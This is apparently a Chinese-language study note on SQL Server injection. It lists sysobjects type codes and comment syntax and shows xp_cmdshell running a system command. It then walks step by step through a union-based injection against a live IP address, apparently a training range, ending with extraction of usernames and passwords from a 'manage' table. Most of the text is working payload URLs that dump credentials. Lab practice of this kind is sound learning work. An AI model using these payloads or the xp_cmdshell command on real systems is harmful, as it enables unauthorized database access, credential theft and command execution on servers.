SQL server注入

SQL server基础

基础看这

https://blog.csdn.net/a15803617402/article/details/82859109

exec

exec xp_cmdshell 'cmd,exe /c ipconfig'
动态查询语句

select * from sysobjects where xtype='U'

xtype参数的意思

C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
L = 日志
FN = 标量函数
IF = 内嵌表函数
P = 存储过程
PK = PRIMARY KEY 约束（类型是 K）
RF = 复制筛选存储过程
S = 系统表
TF = 表函数
TR = 触发器
U = 用户表
UQ = UNIQUE 约束（类型是 K）
V = 视图
X = 扩展存储过程

注释方法

C语言注释风格    /*
SQL注释风格     --
空字节          ;%00

练习

判断是否有注入点

http://219.153.49.228:45809/new_list.asp?id=2'

http://219.153.49.228:45809/new_list.asp?id=2 and 1=1

爆字段数据

http://219.153.49.228:45809/new_list.asp?id=2 order by 4

查看回显位

http://219.153.49.228:45809/new_list.asp?id=-2 union all select null,'null','null',null

查看本地服务器的名称和版本

http://219.153.49.228:45809/new_list.asp?id=-2 union all select null,@@version,@@SERVERNAME,null
@@version：返回当前的 SQL Server 安装的版本、处理器体系结构、生成日期和操作系统。
@@SERVERNAME：返回运行 SQL Server 的本地服务器的名称。
从图可以看出：Server 2005  Windows MOBAN9527SQLEXPRESS

查看当前数据库名及当前用户

http://219.153.49.228:45809/new_list.asp?id=-2 union all select null,DB_NAME(),suser_name(),null --

爆表名

方法一

http://219.153.49.228:45809/new_list.asp?id=-2 union all select null,
(select top 1 table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)),
suser_name(),null --

http://219.153.49.228:45809/new_list.asp?id=-2 union all select null,
(select top 1 table_name from information_schema.tables where table_name not in(select top 0 table_name from information_schema.tables)),
suser_name(),null --

方法二

http://219.153.49.228:45809/new_list.asp?id=-2 union all select null,
(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' ),
suser_name(),null --

http://219.153.49.228:45809/new_list.asp?id=-2 union all select null,
(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name <> 'manage'),
suser_name(),null --

爆字段名

方法一

http://219.153.49.228:45809/new_list.asp?id=-2 union all select null,
(select top 1 column_name from information_schema.columns where table_name='manage' and column_name not in(select top 0 column_name from information_schema.columns where table_name ='manage')),
suser_name(),null --

方法二

http://219.153.49.228:45809/new_list.asp?id=-2 union all select null,
(select top 1 col_name(object_id('manage'),1)from sysobjects),
suser_name(),null --

爆数据

http://219.153.49.228:45809/new_list.asp?id=-2 union all select null,
(select top 1 username from manage where username not in(select top 0 username from manage)),
suser_name(),null --

http://219.153.49.228:45809/new_list.asp?id=-2 union all select null,
(select top 1 password from manage where username not in(select top 0 username from manage)),
suser_name(),null --